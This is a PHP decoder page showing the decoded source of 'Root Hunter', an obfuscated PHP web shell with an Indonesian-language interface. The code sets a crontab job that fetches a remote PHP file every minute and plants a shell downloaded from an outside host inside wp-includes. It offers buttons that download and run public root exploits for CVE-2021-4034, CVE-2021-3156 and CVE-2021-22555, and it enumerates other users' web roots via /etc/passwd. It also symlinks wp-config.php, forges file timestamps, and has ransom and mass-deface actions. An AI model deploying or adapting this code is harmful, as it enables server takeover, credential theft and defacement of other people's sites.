Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php goto GpOwm; BxahF: if ($_GET["\x61\153\x73\151"] == "\x73\x79\x6d\x72\145\141\144"..
Decoded Output download
<?php
goto GpOwm; BxahF: if ($_GET["aksi"] == "symread") { IIIIIII11lI1($dir, $file); } goto qk_sa; Y0Kw9: if ($_GET["aksi"] == "ransom") { ransom($dir, $file); } goto PS3VR; lzT0f: if ($_GET["aksi"] == "buat_file") { IIIIIIIlllll($dir, $IIIIIIII1l1l); } goto IRMhO; jGTWq: function IIIIIIII1l11($IIIIIIII11II) { $IIIIIIII11Il = array("B", "KB", "MB", "GB", "TB"); for ($IIIIIIII11I1 = 0; $IIIIIIII11II >= 1024 && $IIIIIIII11I1 < count($IIIIIIII11Il) - 1; $IIIIIIII11II /= 1024, $IIIIIIII11I1++) { } return round($IIIIIIII11II, 2) . " " . $IIIIIIII11Il[$IIIIIIII11I1]; } goto tgxbG; mi15o: function IIIIIII1IIlI($dir, $file, $IIIIIIII1III) { $IIIIIIII11I1 = 0; echo "<div class='card container'>"; if (preg_match("/hsphere/", $dir)) { $IIIIIII1IIl1 = explode("\xa", $_POST["url"]); if (isset($_POST["jump"])) { echo "<pre>"; foreach ($IIIIIII1IIl1 as $url) { $url = str_replace(array("http://", "www."), '', strtolower($url)); $IIIIIII1II11 = "/etc/passwd"; $IIIIIII1IlII = fopen($IIIIIII1II11, "r"); while ($IIIIIII1IlIl = fgets($IIIIIII1IlII)) { $IIIIIII1IlI1 = explode(":", $IIIIIII1IlIl); $user = $IIIIIII1IlI1[0]; $IIIIIII1Illl = "/hsphere/local/home/{$user}"; if (is_dir($IIIIIII1Illl) === true) { $IIIIIII1Ill1 = $IIIIIII1Illl . "/" . $url; if (is_readable($IIIIIII1Ill1)) { $IIIIIIII11I1++; $IIIIIII1Il1I = "[<font color=green>R</font>] <a href='?dir={$IIIIIII1Ill1}'><font color=#0046FF>{$IIIIIII1Ill1}</font></a>"; if (is_writable($IIIIIII1Ill1)) { $IIIIIII1Il1I = "[<font color=green>RW</font>] <a href='?dir={$IIIIIII1Ill1}'><font color=#0046FF>{$IIIIIII1Ill1}</font></a>"; } echo $IIIIIII1Il1I . "<br>"; } } } } if (!$IIIIIIII11I1 == 0) { echo "<br>Total ada {$IIIIIIII11I1} KAMAR di {$IIIIIIII1III}"; } echo "</pre>"; } else { echo "<center><form method="post">
List Domains: <br>
<textarea name="url" class="form-control">"; $IIIIIII1Il1l = fopen("/hsphere/local/config/httpd/sites/sites.txt", "r"); while ($IIIIIII1Il11 = fgets($IIIIIII1Il1l)) { echo $IIIIIII1Il11; } echo "</textarea><br>
<input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
</form></center>"; } } elseif (preg_match("/vhosts/", $dir)) { $IIIIIII1IIl1 = explode("
", $_POST["url"]); if (isset($_POST["jump"])) { echo "<pre>"; foreach ($IIIIIII1IIl1 as $url) { $IIIIIII1I1II = "/var/www/vhosts/{$url}/httpdocs"; if (is_dir($IIIIIII1I1II) === true) { if (is_readable($IIIIIII1I1II)) { $IIIIIIII11I1++; $IIIIIII1Il1I = "[<font color=green>R</font>] <a href='?dir={$IIIIIII1I1II}'><font color=#0046FF>{$IIIIIII1I1II}</font></a>"; if (is_writable($IIIIIII1I1II)) { $IIIIIII1Il1I = "[<font color=green>RW</font>] <a href='?dir={$IIIIIII1I1II}'><font color=#0046FF>{$IIIIIII1I1II}</font></a>"; } echo $IIIIIII1Il1I . "<br>"; } } } if (!$IIIIIIII11I1 == 0) { echo "<br>Total ada {$IIIIIIII11I1} Kamar Di {$IIIIIIII1III}"; } echo "</pre>"; } else { echo "<center><form method="post">
List Domains: <br>
<textarea name="url" class="form-control">"; bing("ip:{$IIIIIIII1III}"); echo "</textarea><br>\xa<input type="submit" value="Jumping" name="jump" class="btn btn-danger btn-block">
</form></center>"; } } else { echo "<pre>"; $IIIIIII1II11 = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font><br/>"); while ($passwd = fgets($IIIIIII1II11)) { if ($passwd == '' || !$IIIIIII1II11) { echo "<font color=red>Can't read /etc/passwd</font><br/>"; } else { preg_match_all("/(.*?):x:/", $passwd, $IIIIIII1I1I1); foreach ($IIIIIII1I1I1[1] as $IIIIIII1I1lI) { $IIIIIII1I1ll = "/home/{$IIIIIII1I1lI}/public_html"; if (is_readable($IIIIIII1I1ll)) { $IIIIIIII11I1++; $IIIIIII1Il1I = "[<font color=green>R</font>] <a href='?dir={$IIIIIII1I1ll}'><font color=#0046FF>{$IIIIIII1I1ll}</font></a>"; if (is_writable($IIIIIII1I1ll)) { $IIIIIII1Il1I = "[<font color=green>RW</font>] <a href='?dir={$IIIIIII1I1ll}'><font color=#0046FF>{$IIIIIII1I1ll}</font></a>"; } echo $IIIIIII1Il1I; if (function_exists("posix_getpwuid")) { $IIIIIII1I1l1 = file_get_contents("/etc/named.conf"); if ($IIIIIII1I1l1 == '') { echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>"; } else { preg_match_all("#/var/named/(.*?).db#", $IIIIIII1I1l1, $IIIIIII1I11I); foreach ($IIIIIII1I11I[1] as $IIIIIII1I11l) { $IIIIIII1I111 = posix_getpwuid(@fileowner("/etc/valiases/{$IIIIIII1I11l}")); $IIIIIII1I111 = $IIIIIII1I111["name"]; if ($IIIIIII1I111 == $IIIIIII1I1lI) { echo " => ( <u>{$IIIIIII1I11l}</u> )<br>"; break; } } } } else { echo "<br>"; } } } } } if (!$IIIIIIII11I1 == 0) { echo "<br>Total ada {$IIIIIIII11I1} kamar di {$IIIIIIII1III}"; } echo "</pre>"; } echo "</div><br/>"; die; } goto DGXlf; QR2gb: if ($_GET["aksi"] == "passwbypass") { IIIIIII1lll1($dir, $file); } goto kV2xI; GVG6U: if (isset($_GET["changedatenya"])) { $IIIIIIlllI11 = $_GET["changedatenya"]; echo "<pre class='text-white'>" . ex("ls '{$IIIIIIlllI11}' > date.txt") . "</pre>"; ex("for i in $(cat date.txt);do touch -mt $(echo 201$(shuf -i0-12 -n1)0$(shuf -i0-12 -n1)0$(shuf -i0-12 -n1)0000) " . $_GET["changedatenya"] . "/$i;done"); echo "<p class='text-white'>[+] Done!<br>[*] Not Working? <a href='?dir=" . $dir . "&aksi=ngebepass'>Bypass it</a></p></div></div>"; ex("rm -rf date.txt"); die; } goto T4EHp; t_iiR: $IIIIIIII1llI = @ini_get("disable_functions"); goto vKC7m; XzELM: echo " [ " . w($dir, IIIIIIIIl1II($dir)) . " ]</span>"; goto usbii; OPGhy: function IIIIIIIlI1Il($dir) { echo "<div class="card mb-5">
<div class="card-body form-group">
<p class="text-muted">Crontab Shell</p>\xa"; ex("pwd=$(pwd);echo "* * * * * wget -O $pwd/auto_admin.php https://snippet.host/pwxy/raw" | crontab"); $IIIIIIIlI1I1 = ex("crontab -l"); if ($IIIIIIIlI1I1 == '') { echo "<p class="font-weight-bold text-danger">[-] Failed Memasang</p></div></div>"; } else { echo "<p class="font-weight-bold text-success">[+] Running Crontab : </br>" . ex("crontab -l") . "</p></div></div>"; } } goto HgISA; LFiqG: if (isset($_GET["findwrite"])) { $IIIIIIlllI11 = $_GET["findwrite"]; echo "<pre class='text-white'>" . ex("ls '{$IIIIIIlllI11}' > date.txt") . "</pre>"; ex("find " . $_GET["findwrite"] . " -type d -writable > writable.txt"); echo "<p class='text-white'>[+] Found : </p><br><p class='text-white'>" . ex("for i in $(cat writable.txt);do printf "$i => Found\xa";done") . "</p></div></div>"; die; } goto AjK8T; DjebA: if ($_GET["aksi"] == "symlink") { IIIIIII1l1l1($dir, $file); } goto UBaO0; IGcBk: function deployrh($dir) { echo "<div class="card mb-5">\xa<div class="card-body form-group">"; echo "<p class="text-warning text-center font-weight-bold">[+] Deploying Root Hunter v1</p>"; echo "<form method="post">"; echo "<center><input class="btn btn-success" type="submit" name="deployrhws" value="Deploy Root Hunter"></center>"; echo "</form>"; if (isset($_POST["deployrhws"])) { $deployrh_result = ''; $startDirectory = realpath(__DIR__); if (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] === "on") { $url = "https://"; } else { $url = "http://"; } $url .= $_SERVER["HTTP_HOST"]; if ($startDirectory !== $_SERVER["DOCUMENT_ROOT"]) { $rhws_path = $startDirectory . "/wp-includes/pomo/"; $rhws = $startDirectory . "/wp-includes/pomo/singular-forms.php"; $doc = $startDirectory . "/footer_OLD.php"; $cleaned = str_replace($startDirectory, '', $rhws_path); $cleaned_doc = str_replace($startDirectory, '', $doc); } else { $rhws_path = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/pomo/"; $rhws = $_SERVER["DOCUMENT_ROOT"] . "/wp-includes/pomo/singular-forms.php"; $doc = $_SERVER["DOCUMENT_ROOT"] . "/footer_OLD.php"; $cleaned = str_replace($_SERVER["DOCUMENT_ROOT"], '', $rhws_path); $cleaned_doc = str_replace($_SERVER["DOCUMENT_ROOT"], '', $doc); } $src = "https://res.cloudinary.com/dbassets/raw/upload/v1652038152/tool/class-category_gugz7q.txt"; if (file_exists($rhws)) { $deployrh_result .= "<span class="text-center text-info font-weight-bold;">[+] Root Hunter v1 Sudah Ada!</span><br/>"; $deployrh_result .= "<span class="text-center text-info font-weight-bold;"><a href="" . $url . $cleaned . "" target="_blank" rel="nofollow noopener noreferrer" class="text-center text-info">" . $url . $cleaned . "</a></span><br/>"; } if (file_exists($doc)) { $deployrh_result .= "<span class="text-center text-info font-weight-bold;">[+] Root Hunter v1 Sudah Ada!</span><br/>"; $deployrh_result .= "<span class="text-center text-info font-weight-bold;"><a href="" . $url . $cleaned_doc . "" target="_blank" rel="nofollow noopener noreferrer" class="text-center text-info">" . $url . $cleaned_doc . "</a></span><br/>"; } if (is_dir($rhws_path) && is_writable($rhws_path)) { $content = file_get_contents($src); $status = file_put_contents($rhws, $content); if ($status) { $deployrh_result .= "<span class="text-center text-success font-weight-bold;">[+] Berhasil Deploy Root Hunter v1!</span><br/>"; $deployrh_result .= "<span class="text-center text-info font-weight-bold;"><a href="" . $url . $cleaned . "" target="_blank" rel="nofollow noopener noreferrer" class="text-center text-info">" . $url . $cleaned . "</a></span><br/><br/>"; chmod($rhws, 292); } else { $deployrh_result .= "<span class="text-center text-danger font-weight-bold;">[-] Gagal Deploy Root Hunter v1!</span><br/>"; } } else { $content = file_get_contents($src); $status = file_put_contents($doc, $content); if ($status) { $deployrh_result .= "<span class="text-center text-success font-weight-bold;">[+] Berhasil Deploy Root Hunter v1!</span><br/>"; $deployrh_result .= "<span class="text-center text-info font-weight-bold;"><a href="" . $url . $cleaned_doc . "" target="_blank" rel="nofollow noopener noreferrer" class="text-center text-info">" . $url . $cleaned_doc . "</a></span><br/><br/>"; chmod($doc, 292); } else { $deployrh_result .= "<span class="text-center text-danger font-weight-bold;">[-] Gagal Deploy Root Hunter v1!</span><br/>"; } } echo "<div style="border-bottom:0;margin-top:5px;" readonly>"; echo "<center>"; print_r($deployrh_result) . PHP_EOL; echo "</center>"; echo "</div>"; } echo "</div></div>"; } goto eLB0i; bYCUl: if ($_GET["aksi"] == "rename") { IIIIIIIll11I($dir, $file, $IIIIIIIlllIl, $IIIIIIII1l1l); } goto JNqQW; Ou_xB: function IIIIIIIlllll($dir, $IIIIIIII1l1l) { echo "<h4>{$IIIIIIII1l1l} Buat File :</h4>\xa<form method='POST'>\xa<div class='input-group'>\xa<input type='text' class='form-control' name='nama_file[]' placeholder='Nama File...'>
<div class='input-group-prepend'>
<div class='input-group-text'><a id='add_input'><i class='fa fa-plus'></i></a></div>\xa</div>\xa</div><br/>\xa<div id='output'></div>
<textarea name='isi_file' class='form-control' rows='15' placeholder='Isi File...'></textarea><br/>
<input type='submit' class='btn btn-success btn-block mb-5' name='bikin' value='Buat'>
</form>"; if (isset($_POST["bikin"])) { $name = $_POST["nama_file"]; $isi_file = $_POST["isi_file"]; foreach ($name as $nama_file) { $IIIIIIIIlI1l = @fopen("{$nama_file}", "w"); if ($isi_file) { $buat = @fwrite($IIIIIIIIlI1l, $isi_file); } else { $buat = $IIIIIIIIlI1l; } } if ($buat) { $IIIIIIIlIl1l = "success"; $IIIIIIIlIl11 = "Berhasil Membuat File"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } else { $IIIIIIIlIl1l = "error"; $IIIIIIIlIl11 = "Gagal Membuat File"; IIIIIIIlIl1I($IIIIIIIlIl1l, $IIIIIIIlIl11, $dir); } } } goto aV7hf; VduaH: if ($_GET["aksi"] == "modules") { modules($dir); } goto AFmQi; omEN2: ?>
<!DOCTYPE html>
<html>
<head>
<meta name="viewport" content="width=device-width, initial-scale=1"/>
<meta name="theme-color" content="#343a40"/>
<meta name="robots" content="noindex,nofollow,noarchive"/>
<link rel="icon" type="image/png" href="https://storage.googleapis.com/indie-hackers.appspot.com/product-avatars/the-spaghetti-detective/wnjPLrb5rESAhWhn440yUENW8A42"/>
<title>Root Hunter</title>
<link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.3.0/css/bootstrap.min.css"/>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.2/css/all.min.css"/>
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/4.7.0/css/font-awesome.min.css"/>
<script src="https://code.jquery.com/jquery-3.3.1.js"></script>
<script src="https://stackpath.bootstrapcdn.com/bootstrap/4.3.1/js/bootstrap.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/sweetalert2.all.min.js"></script>
<script src="https://cdn.jsdelivr.net/npm/pace-js@latest/pace.min.js"></script>
<link rel="stylesheet" href="https://highlightjs.org/static/demo/styles/a11y-light.css">
<script src="https://cdnjs.cloudflare.com/ajax/libs/highlight.js/11.5.0/highlight.min.js"></script>
<script>
document.addEventListener('DOMContentLoaded', (event) => {
document.querySelectorAll('pre code').forEach((el) => {
hljs.highlightElement(el);
});
});
</script>
<script type="text/javascript">
function copyhasil() {
var codeView = document.getElementById("codeView");
codeView.select();
document.execCommand("copy");
}
</script>
</head>
<body class="bg-dark text-light">
<script>
$(document).ready(function(){
$(window).scroll(function(){
if ($(this).scrollTop() > 700){
$(".scrollToTop").fadeIn();
}else{
$(".scrollToTop").fadeOut();
}
});
$(".scrollToTop").click(function(){
$("html, body").animate({scrollTop : 0},1000);
return false;
});
});
$(document).ready(function(){
$('input[type="file"]').on("change", function(){
let filenames = [];
let files = document.getElementById("customFile").files;
if (files.length > 1){
filenames.push("Total Files (" + files.length + ")");
}else{
for (let i in files){
if (files.hasOwnProperty(i)){
filenames.push(files[i].name);
}
}
}
$(this).next(".custom-file-label").html(filenames.join(","));
});
});
var max_fields = 5;
var x = 1;
$(document).on('click', '#add_input', function(e){
if(x < max_fields){
x++;
$('#output').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_file[]\" placeholder=\"Nama File...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>');
}
$('#output').on("click",".remove", function(e){
e.preventDefault(); $(this).parent('#out').remove(); x--;
repeat();
})
});
$(document).on('click', '#add_input1', function(e){
if(x < max_fields){
x++;
$('#output1').append('<div class=\"input-group\ form-group\ text-dark\" id=\"out\"><input type=\"text\" class=\"form-control\" name=\"nama_folder[]\" placeholder=\"Nama Folder...\"><div class=\"input-group-prepend\ remove\"><div class=\"input-group-text\"><a href="#" class="text-dark"><i class=\"fa fa-minus\"></i></a></div></div></div>');
}
$('#output1').on("click",".remove", function(e){
e.preventDefault(); $(this).parent('#out').remove(); x--;
repeat();
})
});
</script>
<style>
@import url(https://fonts.googleapis.com/css?family=Lato);
@import url(https://fonts.googleapis.com/css?family=Quicksand);
@import url(https://fonts.googleapis.com/css?family=Inconsolata);
@media(min-width:767px){.scrollToTop{display:none !important;}}
@media(max-width:767px){textarea{font-size:13px !important;}}
input[type=text],textarea{font-family:Inconsolata,monospace}body{margin:0;padding:0;font-family:Lato;overscroll-behavior:none}.infor{font-size:14px;color:#333!important}.ds{color:red!important;word-wrap:break-word}#tab table thead th{padding:5px;font-size:16px;white-space:nowrap}#tab tr{border-bottom:1px solid #ccc}#tab tr:hover{background:#5b6f7d;color:#fff}#tab tr td{padding:5px 10px;white-space:nowrap}.pinggir{text-align:left!important;padding-left:4px!important}#tab tr td .badge{font-size:13px}.active,.active:hover{color:#0f0}a{font-family:Quicksand;color:#fff}a:hover{color:#1e90ff}.badge{width:30px;transition:.3s}.badge:hover{transform:scale(1.1);transition:.3s}.ico{width:25px}.ico2{width:30px}.scrollToTop{position:fixed;bottom:30px;right:30px;width:35px;height:35px;background:#262626;color:#fff;border-radius:15%;text-align:center;opacity:.5}.scrollToTop:hover{color:#fff}.up{font-size:25px;line-height:35px}.lain{color:#888;font-size:20px;margin-left:5px;top:1px}.lain:hover{color:#fff}.tambah{width:35px;height:35px;line-height:35px;border:1px solid;border-radius:50%;text-align:center}.fiture{margin:3px}.tmp th{font-size:14px}.tmp tr td{border:solid 1px #bbb;text-align:center;font-size:13px;padding:2px 5px}.tmp tr:hover{background:#5b6f7d;color:#fff}.about{color:#000}.about .card-body .img{position:relative;background:url(https://i.postimg.cc/Wb1X4xNS/image.png);background-size:cover;width:150px;height:150px}.butn{position:relative;text-align:center;padding:3px;background:rgba(225,225,225,.3);-webkit-transition:background .3s ease,color .3s ease;transition:background .3s ease,color .3s ease}input[type=radio].toggle{display:none}input[type=radio].toggle+label{cursor:pointer;margin:0 2px;width:60px}input[type=radio].toggle+label:after{position:absolute;content:"";top:0;background:#fff;height:100%;width:100%;z-index:-1;-webkit-transition:left .4s cubic-bezier(.77, 0, .175, 1);transition:left .4s cubic-bezier(.77, 0, .175, 1)}input[type=radio].toggle.toggle-left+label:after{left:100%}input[type=radio].toggle.toggle-right+label{margin-left:-5px}input[type=radio].toggle.toggle-right+label:after{left:-100%}input[type=radio].toggle:checked+label{cursor:default;color:#000;-webkit-transition:color .4s;transition:color .4s}input[type=radio].toggle:checked+label:after{left:0}.pace{-webkit-pointer-events:none;pointer-events:none;-webkit-user-select:none;-moz-user-select:none;user-select:none}.pace-inactive{display:none}.pace .pace-progress{background:#ffc107;position:fixed;z-index:2000;top:0;right:100%;width:100%;height:6px}.pace .pace-progress-inner{display:block;position:absolute;right:0;width:100px;height:100%;box-shadow:0 0 10px #ffc107,0 0 5px #ffc107;opacity:1;-webkit-transform:rotate(3deg) translate(0,-4px);-moz-transform:rotate(3deg) translate(0,-4px);-ms-transform:rotate(3deg) translate(0,-4px);-o-transform:rotate(3deg) translate(0,-4px);transform:rotate(3deg) translate(0,-4px)}.pace .pace-activity{display:block;position:fixed;z-index:2000;top:15px;right:15px;width:24px;height:24px;border:solid 4px transparent;border-top-color:#ffc107;border-left-color:#ffc107;border-radius:10px;-webkit-animation:pace-spinner .4s linear infinite;-moz-animation:pace-spinner .4s linear infinite;-ms-animation:pace-spinner 400ms linear infinite;-o-animation:pace-spinner .4s linear infinite;animation:pace-spinner .4s linear infinite}@-webkit-keyframes pace-spinner{0%{-webkit-transform:rotate(0);transform:rotate(0)}100%{-webkit-transform:rotate(360deg);transform:rotate(360deg)}}@-moz-keyframes pace-spinner{0%{-moz-transform:rotate(0);transform:rotate(0)}100%{-moz-transform:rotate(360deg);transform:rotate(360deg)}}@-o-keyframes pace-spinner{0%{-o-transform:rotate(0);transform:rotate(0)}100%{-o-transform:rotate(360deg);transform:rotate(360deg)}}@-ms-keyframes pace-spinner{0%{-ms-transform:rotate(0);transform:rotate(0)}100%{-ms-transform:rotate(360deg);transform:rotate(360deg)}}@keyframes pace-spinner{0%{transform:rotate(0);transform:rotate(0)}100%{transform:rotate(360deg);transform:rotate(360deg)}}pre.code code{height:400px;font-size:14px;}hr{border-top: 1px solid rgb(40 167 69);}</style>
<?php goto lqrHI; cCVgC: $IIIIIIII1lI1 = (int) ($IIIIIIII1lIl / $IIIIIIII1lII * 100); goto t_iiR; z7DGc: $IIIIIIII1lIl = disk_free_space($dir); goto cCVgC; sgGFS: if ($_GET["aksi"] == "wpbd") { wpbd($dir); } goto XY24e; I3MH7: function autoRoot($dir) { echo "<div class="card mb-5">
<div class="card-body form-group">
<h5><p class="text-center font-weight-bold text-success">Which Rooting Method?</p><h5>"; echo "<form method="post"><center>"; echo "<input class="btn btn-primary" type="submit" name="autoroot4034c" value="4034.c">"; echo "<input class="btn btn-secondary" type="submit" name="autoroot4034py" value="4034.py">"; echo "<input class="btn btn-success" type="submit" name="autoroot3156py" value="3156.py">"; echo "<input class="btn btn-info" type="submit" name="autorootexploitc" value="exploit.c">"; echo "<input class="btn btn-danger" type="submit" name="clearrooting" value="Clear">"; echo "</center></form>"; if (isset($_POST["autoroot4034c"])) { $autoroot4034c = "cd /tmp && eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)""; $result_autoroot4034c = ex($autoroot4034c); if ($result_autoroot4034c == '') { echo "<p class="text-danger"><pre><code>[+] 4034.c rooting failed!</code></pre></p>"; } else { echo "<p class="text-success"><pre><code>" . $result_autoroot4034c . "</code></pre><br></p>"; } } if (isset($_POST["autoroot4034py"])) { $autoroot4034py = "cd /tmp && wget -O as.py https://raw.githubusercontent.com/joeammond/CVE-2021-4034/main/CVE-2021-4034.py && python as.py"; $result_autoroot4034py = ex($autoroot4034py); if ($result_autoroot4034py == '') { echo "<p class="text-danger"><pre><code>[+] 4034.py rooting failed!</code></pre></p>"; } else { echo "<p class="text-success"><pre><code>" . $result_autoroot4034py . "</code></pre><br></p>"; } } if (isset($_POST["autoroot3156py"])) { $autoroot3156py = "cd /tmp && wget -O asw.py https://raw.githubusercontent.com/worawit/CVE-2021-3156/main/exploit_userspec.py && python asw.py"; $result_autoroot3156py = ex($autoroot3156py); if ($result_autoroot3156py == '') { echo "<p class="text-danger"><pre><code>[+] 3156.py rooting failed!</code></pre></p>"; } else { echo "<p class="text-success"><pre><code>" . $result_autoroot3156py . "</code></pre><br></p>"; } } if (isset($_POST["autorootexploitc"])) { $autorootexploitc = "cd /tmp && wget -O exploit.c https://raw.githubusercontent.com/google/security-research/master/pocs/linux/cve-2021-22555/exploit.c && gcc -m32 -static -o exploit exploit.c && chmod +x exploit &&./exploit"; $result_autorootexploitc = ex($autorootexploitc); if ($result_autorootexploitc == '') { echo "<p class="text-danger"><pre><code>[+] exploit.c rooting failed!</code></pre></p>"; } else { echo "<p class="text-success"><pre><code>" . $result_autorootexploitc . "</code></pre><br></p>"; } } if (isset($_POST["clearrooting"])) { $result_clearrooting = "<pre class=ml1>" . ex("cd /tmp && rm -rf as.py asw.py exploit.c exploit Makefile cve-2021-4034.c cve-2021-4034.sh pwnkit.c cve-2021-4034 GCONV_PATH=. pwnkit.so pwnkit gconv-modules payload.so") . "</pre><br>" . PHP_EOL; $tmp = sys_get_temp_dir(); if (!file_exists($tmp . "/as.py")) { $result_clearrooting .= "<span class="text-success font-weight-bold p-1">Berhasil clear as.py!</span><br/>" . PHP_EOL; } if (!file_exists($tmp . "/asw.py") && !file_exists($tmp . "/payload.so")) { $result_clearrooting .= "<span class="text-success font-weight-bold p-1">Berhasil clear asw.py!</span><br/>" . PHP_EOL; } if (!file_exists($tmp . "/exploit.c") && !file_exists($tmp . "/exploit")) { $result_clearrooting .= "<span class="text-success font-weight-bold p-1">Berhasil clear exploit.c!</span><br/>" . PHP_EOL; } if (!file_exists($tmp . "/Makefile") && !file_exists($tmp . "/cve-2021-4034.c") && !file_exists($tmp . "/cve-2021-4034.sh") && !file_exists($tmp . "/pwnkit.c") && !file_exists($tmp . "/cve-2021-4034") && !file_exists($tmp . "/pwnkit.so") && !file_exists($tmp . "/pwnkit") && !is_dir($tmp . "/gconv-modules") && !is_dir($tmp . "/GCONV_PATH=.")) { $result_clearrooting .= "<span class="text-success font-weight-bold p-1">Berhasil clear sisanya!</span><br/>" . PHP_EOL; } echo "<div class="smallarea" name="output style="border-bottom:0;margin-top:5px;" readonly>"; print_r($result_clearrooting) . PHP_EOL; echo "</div>"; } echo "</div></div>"; } goto gFIpc; QOeUu: if ($_GET["aksi"] == "config") { IIIIIII1lII1($dir, $file); } goto QR2gb; Zko4a: if ($_GET["aksi"] == "serp") { IIIIIIIllIII($dir, $IIIIIIII1l1I); } goto wAXZQ; ATQKj: if ($_GET["aksi"] == "logger") { logger($dir); } goto LLTEe; k8V3L: function IIIIIIIIl1II($file) { $IIIIIIIIl1Il = fileperms($file); if (($IIIIIIIIl1Il & 49152) == 49152) { $IIIIIIIIl1lI = "s"; } elseif (($IIIIIIIIl1Il & 40960) == 40960) { $IIIIIIIIl1lI = "l"; } elseif (($IIIIIIIIl1Il & 32768) == 32768) { $IIIIIIIIl1lI = "-"; } elseif (($IIIIIIIIl1Il & 24576) == 24576) { $IIIIIIIIl1lI = "b"; } elseif (($IIIIIIIIl1Il & 16384) == 16384) { $IIIIIIIIl1lI = "d"; } elseif (($IIIIIIIIl1Il & 8192) == 8192) { $IIIIIIIIl1lI = "c"; } elseif (($IIIIIIIIl1Il & 4096) == 4096) { $IIIIIIIIl1lI = "p"; } else { $IIIIIIIIl1lI = "u"; } $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 256 ? "r" : "-"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 128 ? "w" : "-"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 64 ? $IIIIIIIIl1Il & 2048 ? "s" : "x" : ($IIIIIIIIl1Il & 2048 ? "S" : "-"); $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 32 ? "r" : "-"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 16 ? "w" : "-"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 8 ? $IIIIIIIIl1Il & 1024 ? "s" : "x" : ($IIIIIIIIl1Il & 1024 ? "S" : "-"); $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 4 ? "r" : "-"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 2 ? "w" : "-"; $IIIIIIIIl1lI .= $IIIIIIIIl1Il & 1 ? $IIIIIIIIl1Il & 512 ? "t" : "x" : ($IIIIIIIIl1Il & 512 ? "T" : "-"); return $IIIIIIIIl1lI; } goto a5AKJ; oXNAJ: $path = str_replace("\", "/", $path); goto GakLC; uQ9_k: if ($_GET["aksi"] == "masdel") { IIIIIII1IIII($dir, $file, $IIIIIIII1l1I, $IIIIIIII1l1l); } goto ygJ1p; ASzE7: function IIIIIII111ll($dir, $file) { $IIIIIII111l1 = get_current_user(); if ($_POST["execute"]) { @rmdir("indosec_sym404"); @mkdir("indosec_sym404", 511); $dir = $_POST["dir"]; $isi = $_POST["isi"]; @system("ln -s " . $dir . "indosec_sym404/" . $isi); @symlink($dir, "indosec_sym404/" . $isi); $IIIIIII11111 = fopen("indosec_sym404/.htaccess", "w"); @fwrite($IIIIIII11111, "ReadmeName " . $isi . "\xaOptions Indexes FollowSymLinks
DirectoryIndex ids.html\xaAddType text/plain php html php5 phtml\xaAddHandler text/plain php html php5 phtml
Satisfy Any"); echo "<a href="/indosec_sym404/" target="_blank" class="btn btn-success btn-block mb-3">Click Me!!</a>"; } else { echo "<h2>Symlink 404</h2>
<form method="post">
File Target: <input type="text" class="form-control" name="dir" value="/home/" . $IIIIIII111l1 . "/public_html/wp-config.php"><br/>
Save As: <input type="text" class="form-control" name="isi" placeholder="[Ex] file.txt"/><br/>
<input type="submit" class="btn btn-danger btn-block" value="Execute" name="execute"/>\xa<p class="text-muted">NB: Letak wp-config tidak semuanya berada di <u>public_html/wp-config.php</u> jadi silahkan ubah sesuai letaknya.</p>
</form>"; } die; } goto ad1Lh; lqrHI: echo "<div class="container">\xa<h1 class="text-center mt-3">{ Root <i class="fab fa-hackerrank"></i>unter }</h1>
<hr/>\xa<div class="text-center">\xa<div class="d-flex justify-content-center flex-wrap">
<a href="?" class="fiture btn btn-danger btn-sm"><i class="fa fa-home"></i> Home</a>\xa<a href="?dir=" . $dir . "&aksi=upload" class="fiture btn btn-danger btn-sm"><i class="fa fa-upload"></i> Upload</a>\xa<a href="?dir=" . $dir . "&aksi=crontab" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus"></i> Crontab</a>
<a href="?dir=" . $dir . "&aksi=ngeroot" class="fiture btn btn-danger btn-sm"><i class="fas fa-chess-rook"></i> Root</a>\xa<a href="?dir=" . $dir . "&aksi=modules" class="fiture btn btn-danger btn-sm"><i class="fa fa-file-code"></i> Modules</a>
<a href="?dir=" . $dir . "&aksi=terminalroot" class="fiture btn btn-danger btn-sm"><i class="fa fa-terminal"></i> Root Terminal</a>
<a href="?dir=" . $dir . "&aksi=buat_file" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus-circle"></i> File</a>\xa<a href="?dir=" . $dir . "&aksi=buat_folder" class="fiture btn btn-danger btn-sm"><i class="fa fa-plus"></i> Folder</a>
<a href="?dir=" . $dir . "&aksi=masdef" class="fiture btn btn-danger btn-sm"><i class="fa fa-exclamation-triangle"></i> Mass Deface</a>
